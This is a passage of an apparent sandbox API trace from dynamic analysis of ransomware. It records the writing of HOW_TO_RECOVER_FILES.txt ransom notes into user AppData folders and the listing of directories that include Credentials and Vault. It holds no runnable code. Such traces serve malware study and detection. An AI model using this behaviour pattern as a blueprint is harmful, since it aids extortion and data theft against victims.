(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\virtualstore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x47c [0202.045] GetFileType (hFile=0x47c) returned 0x1 [0202.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbd0) returned 1 [0202.045] GetFileType (hFile=0x47c) returned 0x1 [0202.046] WriteFile (in: hFile=0x47c, lpBuffer=0x3419860*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207edd28, lpOverlapped=0x0 | out: lpBuffer=0x3419860*, lpNumberOfBytesWritten=0x207edd28*=0x5d0, lpOverlapped=0x0) returned 1 [0202.046] CloseHandle (hObject=0x47c) returned 1 [0202.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0202.047] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\History", lpFilePart=0x0) returned 0x25 [0202.047] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0202.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edca0) returned 1 [0202.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ed740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\History\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0202.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edc60) returned 1 [0202.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\history\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x47c [0202.051] GetFileType (hFile=0x47c) returned 0x1 [0202.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbd0) returned 1 [0202.051] GetFileType (hFile=0x47c) returned 0x1 [0202.052] WriteFile (in: hFile=0x47c, lpBuffer=0x342a0a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207edd28, lpOverlapped=0x0 | out: lpBuffer=0x342a0a0*, lpNumberOfBytesWritten=0x207edd28*=0x5d0, lpOverlapped=0x0) returned 1 [0202.053] CloseHandle (hObject=0x47c) returned 1 [0202.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0202.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0202.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.053] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.053] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4153afa6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4153afa6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0202.055] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0202.055] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0202.055] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0202.055] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0202.055] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0202.055] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0202.056] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa3009cf0, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa3009cf0, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0202.056] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd358a482, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e02a2a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0202.056] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827c2c6b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xdc6aa62a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdc6aa62a, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0202.056] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd63cb27, ftCreationTime.dwHighDateTime=0x1d327b2, ftLastAccessTime.dwLowDateTime=0xdd63cb27, ftLastAccessTime.dwHighDateTime=0x1d327b2, ftLastWriteTime.dwLowDateTime=0xdd63cb27, ftLastWriteTime.dwHighDateTime=0x1d327b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenWorkspace", cAlternateFileName="PENWOR~1")) returned 1 [0202.056] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc7d69cc9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0202.056] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ffd581, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43ffd581, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x43ffd581, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaeec2c4, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xeaeec2c4, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0xeaeec2c4, ftLastWriteTime.dwHighDateTime=0x1d327d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc7e3414f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfcc934a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee6232d, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xbee6232d, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xbee6232d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~3")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~2")) returned 1 [0202.057] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 1 [0202.058] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 0 [0202.058] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0202.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0202.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0202.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0202.058] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.058] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.058] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4153afa6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4153afa6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0202.059] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, 